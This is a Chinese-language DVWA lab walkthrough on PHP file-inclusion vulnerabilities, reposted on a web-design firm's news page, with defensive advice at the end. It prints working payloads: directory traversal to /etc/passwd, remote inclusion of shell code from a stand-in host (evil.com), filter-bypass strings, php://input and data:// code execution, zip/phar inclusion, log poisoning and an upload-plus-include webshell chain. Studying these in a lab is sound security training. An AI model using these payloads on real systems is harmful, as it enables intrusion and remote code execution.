尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DVWA文件包含漏洞通关指南:从原理到实战绕过技巧

DVWA文件包含漏洞通关指南:从原理到实战绕过技巧
📅 发布时间:2026/7/7 20:28:59

1. 项目概述与核心价值

最近在带新人做渗透测试基础训练,发现很多朋友对“文件包含漏洞”这个概念理解得不够透彻,要么是原理没吃透,要么是实战中遇到各种过滤规则就懵了。正好,DVWA(Damn Vulnerable Web Application)这个经典的靶场里,有一个专门用来练习文件包含漏洞的模块,而且它贴心地设置了从Low到Impossible四个安全等级,简直就是为我们量身定做的“漏洞理解阶梯”。

这个“保姆级教程”的目标,就是带你手把手、一步步地,把DVWA文件包含漏洞的每一关都打通,并且把背后的原理、绕过技巧、以及那些在真实渗透测试中会用到的“骚操作”都讲清楚。文件包含漏洞(File Inclusion Vulnerability)绝不仅仅是“包含一个文件”那么简单,它常常是Web安全测试中从信息泄露到获取系统权限的关键跳板。理解它,你就能明白为什么一个看似无害的“页面参数”,能成为攻击者打开服务器大门的钥匙。

2. 文件包含漏洞核心原理深度解析

2.1 什么是文件包含?为什么会有漏洞?

简单来说,文件包含是Web开发中一种常见的代码复用技术。想象一下,你网站的每个页面都有相同的头部导航栏和底部版权信息。为了避免在每个页面重复写这些代码,聪明的做法是把导航栏和版权信息分别写成header.php和footer.php两个文件。然后,在其他页面里,只需要用include(‘header.php’)和include(‘footer.php’)这两行代码,就能把对应的内容“包含”进来。

PHP中常用的包含函数主要有这四个:

  • include(): 包含并运行指定文件。如果包含失败(比如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。
  • require(): 与include()类似,但如果包含失败,会产生一个致命错误(E_COMPILE_ERROR),并停止脚本执行。
  • include_once()/require_once(): 功能与前两者相同,但多了一个“唯一性”检查。如果该文件已经被包含过,则不会再次包含,可以避免函数重定义、变量重新赋值等问题。

漏洞的根源就在这里:开发者本意是包含一个他们预设的、安全的本地文件(比如‘menu.php’)。但是,如果包含文件的路径(或文件名)是通过用户可控制的输入(比如URL中的?page=参数)动态拼接而成的,并且没有经过严格的过滤,攻击者就可以通过修改这个参数,让服务器去包含一个他指定的、意料之外的文件。

例如,代码是include($_GET[‘page’] . ‘.php’);,开发者期望用户访问?page=home,最终包含home.php。但如果攻击者传入?page=http://evil.com/shell,并且服务器配置允许(allow_url_include=On),那么它就会去包含远程服务器上的shell.php,这个恶意文件中的PHP代码会在你的服务器上执行!这就是“远程文件包含(RFI)”。如果包含的是服务器本地的一个敏感文件,如?page=../../../../etc/passwd,那就是“本地文件包含(LFI)”,会导致敏感信息泄露。

注意:allow_url_include和allow_url_fopen这两个PHP配置选项默认通常是关闭的,这极大地限制了远程文件包含(RFI)的发生。但在一些老旧或配置不当的服务器上,它们可能被开启,使得RFI成为可能。本地文件包含(LFI)则更为常见。

2.2 DVWA文件包含模块环境搭建与访问

在开始实操前,确保你的DVWA已经正确运行。通常,你需要一个集成的Web服务环境(如XAMPP、PHPStudy)并安装好DVWA。将DVWA源码解压到Web根目录(如htdocs或www),然后通过浏览器访问其安装页面进行配置。

  1. 访问DVWA:在浏览器中输入http://你的服务器IP或localhost/dvwa/。
  2. 登录:默认账号密码通常是admin/password。
  3. 设置安全等级:在左侧菜单点击 “DVWA Security”,将安全级别设置为 “Low”。我们通关教程将从最低难度开始。
  4. 进入漏洞模块:点击左侧 “File Inclusion”,即可进入文件包含漏洞的练习页面。

你会看到一个简单的页面,上面有三个链接:file1.php,file2.php,file3.php。点击它们,URL会变成类似http://localhost/dvwa/vulnerabilities/fi/?page=file1.php的形式。这里的page参数,就是我们攻击的入口点。

3. DVWA文件包含四级别通关实战详解

3.1 Low级别:毫无防护的“裸奔”

源码审计:

<?php $file = $_GET[ 'page' ]; ?>

Low级别的代码简单到令人发指。它直接获取URL中page参数的值,没有任何过滤、检查或限制,然后直接将其作为文件路径传递给包含函数。

攻击实战:

  1. 本地文件包含(LFI)读取敏感文件:

    • 目标:尝试读取服务器上的/etc/passwd文件(Linux)或C:\Windows\System32\drivers\etc\hosts文件(Windows)。
    • Payload:?page=../../../../etc/passwd
    • 解释:../表示上一级目录。通过多个../,我们可以穿越目录,从Web根目录跳转到系统的根目录或其他敏感目录。如果成功,页面上会显示/etc/passwd文件的内容。
    • Windows路径尝试:?page=../../../../Windows/System32/drivers/etc/hosts或使用反斜杠..\..\..\..\Windows\...。
  2. 远程文件包含(RFI)执行任意代码:

    • 前提:需要目标服务器PHP配置中allow_url_include为 On(DVWA默认环境通常开启用于练习)。
    • 操作:在另一台你能控制的服务器(或本机用Python开个临时HTTP服务)上,创建一个内容为<?php phpinfo(); ?>的shell.php文件。
    • Payload:?page=http://你的攻击机IP/shell.php
    • 结果:如果成功,DVWA页面将不再显示原有内容,而是展示phpinfo()函数的输出,这证明远程PHP代码已被成功在目标服务器上执行。你可以把phpinfo()换成任何PHP代码,比如system(‘whoami’)来执行系统命令。
  3. 使用PHP Filter协议读取源码:

    • 有时直接包含.php文件,其代码会被执行,我们看不到源代码。这时可以用php://filter协议进行读取。
    • Payload:?page=php://filter/read=convert.base64-encode/resource=file1.php
    • 解释:这个Payload会读取file1.php文件的内容,并将其用Base64编码后输出。你会在页面上看到一串Base64字符串,解码后就能得到file1.php的源代码。这是审计代码、寻找其他漏洞的常用手法。
    • 简化读取:如果只是想看文本内容,可以去掉编码器:?page=php://filter/read=/resource=file1.php,但这对PHP文件无效,因为PHP代码会被执行。Base64编码是绕过执行、查看源码的关键。

实操心得:在Low级别,重点感受“用户输入直接信任”带来的危害。RFI是最危险的,因为它意味着攻击者可以直接从外部注入代码。在实际测试中,如果发现LFI,一定要尝试结合文件上传、日志注入等技巧向服务器写入一个Webshell,再通过LFI去包含它,从而升级为代码执行。

3.2 Medium级别:初级的字符串过滤与绕过

源码审计:

<?php $file = $_GET[ 'page' ]; $file = str_replace( array( “http://”, “https://” ), “”, $file ); $file = str_replace( array( “../”, “..\\” ), “”, $file ); ?>

Medium级别引入了过滤。它使用str_replace()函数,试图将http://、https://、../、..\这些字符串替换为空字符串。

漏洞与绕过:这里的过滤存在一个经典缺陷:只进行一次替换。str_replace()不是递归处理的。这意味着,如果我们在字符串中插入被过滤的字符,过滤后剩下的字符可能会重新组合成我们想要的Payload。

攻击实战:

  1. 双写绕过目录穿越(../):

    • 目标:依然读取/etc/passwd。
    • Payload:?page=....//....//....//....//etc/passwd
    • 过程拆解:
      • 我们传入....//。
      • 过滤函数寻找../并替换为空。它找到了....//中间的那个../,将其删除。
      • 删除后,字符串变成了.../。注意,前面三个点中的后两个点,和后面的斜杠,又组成了一个新的../!
      • 所以,最终被处理的字符串变回了../../。成功绕过了过滤。
    • 同理,对于..\,可以使用....\/或....\\进行双写绕过。
  2. 双写绕过远程包含(http://):

    • 目标:实现RFI。
    • Payload:?page=htthttp://p://evil.com/shell.php
    • 过程拆解:
      • 我们传入htthttp://p://evil.com/shell.php。
      • 过滤函数寻找http://并替换为空。它找到了字符串中间的http://并将其删除。
      • 删除后,剩下的部分拼接起来正好是http://evil.com/shell.php。绕过成功!

注意事项:双写绕过的成功与否,取决于过滤逻辑和拼接顺序。有时需要尝试不同的位置。例如,过滤../后可能还会过滤..\,那么Payload可能需要写成....\/或....\\/来应对多次不同字符串的过滤。关键在于理解过滤是一次性的、非递归的。

3.3 High级别:白名单限制与协议利用

源码审计:

<?php $file = $_GET[ 'page' ]; if( !fnmatch( “file*”, $file ) && $file != “include.php” ) { echo “ERROR: File not found!”; exit; } ?>

High级别使用了更严格的限制。fnmatch(“file*”, $file)函数检查$file变量是否以字符串“file”开头。同时,它还允许$file等于“include.php”。这看起来像一个白名单机制:只允许包含以“file”开头的文件,或者是“include.php”本身。

攻击实战:利用file://协议

限制是“以file开头”,而不是“文件名是file开头”。这为我们利用file://协议流打开了大门。

  1. 基本利用:

    • Payload:?page=file:///etc/passwd
    • 解释:file://是一个PHP支持的协议包装器(wrapper),用于访问本地文件系统。file:///etc/passwd完全符合“以file开头”的条件(file://…)。服务器会使用file协议处理器去打开/etc/passwd文件。由于该文件不是PHP代码,其内容会被直接输出到页面上,造成信息泄露。
    • Windows示例:?page=file:///C:/Windows/System32/drivers/etc/hosts
  2. 结合目录穿越:

    • 虽然代码过滤了../,但在file://协议中,我们可以使用绝对路径,完全不需要../。
    • 如果必须使用相对路径,可以尝试URL编码:..的URL编码是%2e%2e,/是%2f。Payload可能为file:///var/www/html/..%2f..%2f..%2fetc%2fpasswd,但这取决于服务器端对输入的处理顺序。通常直接使用绝对路径更可靠。
  3. 利用PHP Filter协议:

    • php://filter协议同样以p开头,不符合file*规则,直接使用会被拦截。
    • 但是,我们可以尝试将协议包装在file://协议中吗?理论上file://应该指向一个真实的文件路径,不能嵌套其他协议。所以此路不通。High级别的防御核心就是封堵了除file://和指定文件外的其他包含方式,迫使攻击者只能进行本地文件读取(LFI),而难以直接执行代码(除非能找到已存在于服务器上的Webshell文件并包含它)。

实操心得:High级别展示了白名单过滤的威力。它极大地限制了攻击面,将RFI彻底封死,并将LFI限制在只能读取服务器本地文件。在实战中,遇到这种过滤,攻击思路需要转向:

  1. 信息收集:利用file://读取各种配置文件(如/etc/passwd,/proc/self/environ,.env,config.php,php.ini),寻找数据库密码、API密钥、其他漏洞线索。
  2. 日志文件注入:如果知道Web日志(如/var/log/apache2/access.log)的路径,可以将PHP代码作为User-Agent或请求参数的一部分,使其写入日志文件,然后通过file://包含这个日志文件来执行代码。
  3. 结合其他漏洞:最常见的场景是“文件上传+文件包含”。先通过一个文件上传漏洞(即使只能上传图片)将含有PHP代码的文件(如图片马)传到服务器,获得其存储路径,再通过此处的LFI去包含那个上传的文件,从而执行代码。

3.4 Impossible级别:终极白名单

源码审计:

<?php $file = $_GET[ 'page' ]; if( $file != “include.php” && $file != “file1.php” && $file != “file2.php” && $file != “file3.php” ) { echo “ERROR: File not found!”; exit; } ?>

Impossible级别采用了最安全也是最“笨”的方法:硬编码白名单。$file参数只能严格等于“include.php”、“file1.php”、“file2.php”、“file3.php”这四个字符串之一,多一个字符、少一个字符、或者换成其他任何值都不行。

安全分析:这种防御方式从根本上杜绝了文件包含漏洞。因为攻击者无法控制最终被包含的文件名,它永远只能是开发者预设的那几个安全文件。任何协议(http://,php://,file://)、路径穿越(../)或编码技巧在这里都完全失效,因为输入在比较之前就已经被固定死了。

开发启示:在实际开发中,避免文件包含漏洞的最佳实践就是:

  1. 避免动态包含:尽量不要让用户输入直接或间接决定包含哪个文件。
  2. 使用白名单:如果必须动态包含,应像Impossible级别一样,使用一个预定义的、有限的列表(白名单)进行比对,只允许包含列表内的文件。
  3. 固定目录:如果需要包含用户指定的文件,也应将其限制在某个特定的、非Web可访问的目录下,并且使用固定的文件扩展名(如.inc.php),再与白名单结合。

4. 高级利用技巧与协议全解

在Low级别(或某些过滤不严的环境)下,除了基本的LFI/RFI,PHP丰富的协议包装器(Wrapper)为我们提供了更多强大的攻击手段。

4.1 php://filter 的妙用

我们已经用它来读取源码。它更强大的地方在于可以对数据流进行过滤处理。

  • read=:指定读取过滤器,如convert.base64-encode。
  • write=:指定写入过滤器。
  • resource=:指定要过滤的数据流来源(通常是文件)。

实战技巧:

  • 读取PHP源码:?page=php://filter/read=convert.base64-encode/resource=index.php(经典用法)。
  • 多重过滤:可以链式使用多个过滤器,例如先Base64编码,再字符串旋转(ROT13):?page=php://filter/read=convert.base64-encode|string.rot13/resource=index.php。这在某些简单的过滤或WAF检测时可能有用。
  • 写入文件(需条件):配合php://input和allow_url_include,理论上可以构造数据流写入文件,但条件苛刻,不如其他方法直接。

4.2 php://input 与 POST数据执行

php://input是个只读流,用于访问请求的原始POST数据。当allow_url_include开启时,它可以被包含,并且POST数据中的PHP代码会被执行。

操作步骤(需使用Burp Suite或类似工具):

  1. 正常浏览器访问:?page=php://input
  2. 拦截这个请求(用Burp)。
  3. 将请求方法从GET改为POST。
  4. 在请求体(Body)中直接写入PHP代码,例如:<?php system(‘whoami’); ?>
  5. 发送请求。服务器包含php://input流,流的内容就是你的POST数据(PHP代码),于是代码被执行,响应中会返回命令执行的结果。

4.3 data:// 协议的直接代码注入

data://协议允许在URI中直接嵌入数据。它相当于一个“自包含”的数据文件。

  • 明文方式:?page=data://text/plain,<?php phpinfo();?>。注意代码中的<,?,>,空格等特殊字符需要进行URL编码。所以更稳定的写法是:?page=data://text/plain,%3C?php%20phpinfo();?%3E
  • Base64编码方式:?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+。这里PD9waHAgcGhwaW5mbygpOz8+就是<?php phpinfo();?>的Base64编码。这种方式可以避免特殊字符问题。

4.4 压缩协议:zip:// 与 phar://

这两个协议允许我们包含压缩包内的文件。如果网站有文件上传功能,且能上传.zip或.phar文件,这将是绕过“仅允许上传图片”限制的利器。

  1. 准备:创建一个shell.php,内容为<?php phpinfo();?>。然后将其压缩成shell.zip。注意,有些利用方式要求压缩包内不能有目录层级,直接是文件。
  2. zip://:
    • Payload:?page=zip:///绝对路径/shell.zip%23shell.php
    • 关键点:
      • 协议格式为zip://[压缩文件绝对路径]#[压缩文件内的文件名]。
      • #在URL中表示锚点,需要编码成%23。
      • 路径必须是绝对路径,并且要使用正斜杠(/),即使是Windows系统(如zip://C:/xampp/htdocs/uploads/shell.zip%23shell.php)。
  3. phar://:
    • Payload:?page=phar:///绝对路径/shell.phar/shell.php
    • 关键点:
      • 协议格式为phar://[压缩文件绝对路径]/[压缩文件内的文件名]。
      • 这里使用/作为分隔符,而不是#。
      • .phar是PHP归档文件,但phar://协议也支持.zip和.tar文件。所以phar:///path/to/shell.zip/shell.php同样有效,这提供了更多选择。

4.5 其他压缩流协议

  • compress.zlib://和compress.bzip2://:分别用于处理.gz和.bz2压缩格式的单文件。
    • ?page=compress.zlib:///path/to/file.gz
    • 这些协议通常用于包含单一文件的压缩内容,在特定环境下可能有用,但不如zip://和phar://常见。

5. 实战融合与防御思考

文件包含漏洞很少孤立存在。一个成熟的渗透测试过程,往往是多种漏洞的组合利用。

经典攻击链:文件上传 + 文件包含

  1. 发现文件上传点:找到一处可以上传文件的功能。
  2. 上传Webshell:即使前端做了图片类型检查,也可能通过修改文件扩展名(如shell.php.jpg)、文件内容(在图片末尾追加PHP代码)、或利用解析漏洞(如Apache的shell.php.jpg被解析为PHP)来上传一个可执行的脚本文件。
  3. 获取文件路径:上传成功后,网站通常会返回文件的访问路径(如/uploads/2023/10/shell.php.jpg),或者可以通过目录遍历猜测。
  4. 触发文件包含:利用找到的文件包含漏洞,去包含这个上传的文件路径(如?page=../../uploads/2023/10/shell.php.jpg)。由于服务器会根据文件内容(如<?php ... ?>)或解析规则来执行,从而获得代码执行权限。

防御方案总结:

  1. 关闭危险配置:生产环境中务必确保php.ini里的allow_url_include和allow_url_fopen设置为Off。
  2. 使用白名单:对动态包含的文件名进行严格的白名单校验,就像DVWA的Impossible级别。
  3. 固定目录与后缀:如果业务需要动态包含,应将包含操作限制在某个特定目录内,并强制添加安全的后缀(如.php),避免包含.inc、.log等可能被写入代码的文件。但注意,后缀检查可以被%00空字节截断(在PHP<5.3.4时)或协议流绕过,因此白名单是最优解。
  4. 避免用户输入:从根本上重新设计功能,避免使用用户可控的变量来拼接文件路径。
  5. 代码审计与安全测试:在开发流程中加入代码安全审计和定期的渗透测试,主动发现此类问题。

文件包含漏洞的理解和利用,是Web安全工程师的必修课。通过DVWA这个靶场,从毫无防护到硬编码白名单,我们清晰地看到了防御是如何层层加强的,也学会了攻击者是如何见招拆招的。真正掌握它,不仅要会“攻”,更要理解如何“防”,这样才能在安全开发和安全评估中游刃有余。

相关新闻

  • TS2007FC D类音频放大器与STM32L041C6低功耗方案解析
  • DailyTask:5分钟搞定Android自动打卡,告别考勤焦虑
  • Discuz! X3.4 升级模块远程代码执行漏洞复现:3步利用与1行代码加固

最新新闻

  • R语言手写马尔可夫链:从状态建模到归因分析全流程
  • R语言na.rm参数原理与缺失值处理实战指南
  • Lasso与Ridge回归实战:解决多重共线性、过拟合与特征选择
  • 线性规划实战:制造业排程与供应链优化的工程落地指南
  • R语言na.rm参数底层机制与缺失值处理实战指南
  • Excel多条件查询:为什么INDEX MATCH比VLOOKUP更可靠

日新闻

  • Android逆向分析全能助手:集成化工具链与自动化工作流设计
  • 面搜索(Faceted Search)原理与工程实践指南
  • 神经网络调参避坑指南:从5个常见Loss曲线形态定位超参数问题

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号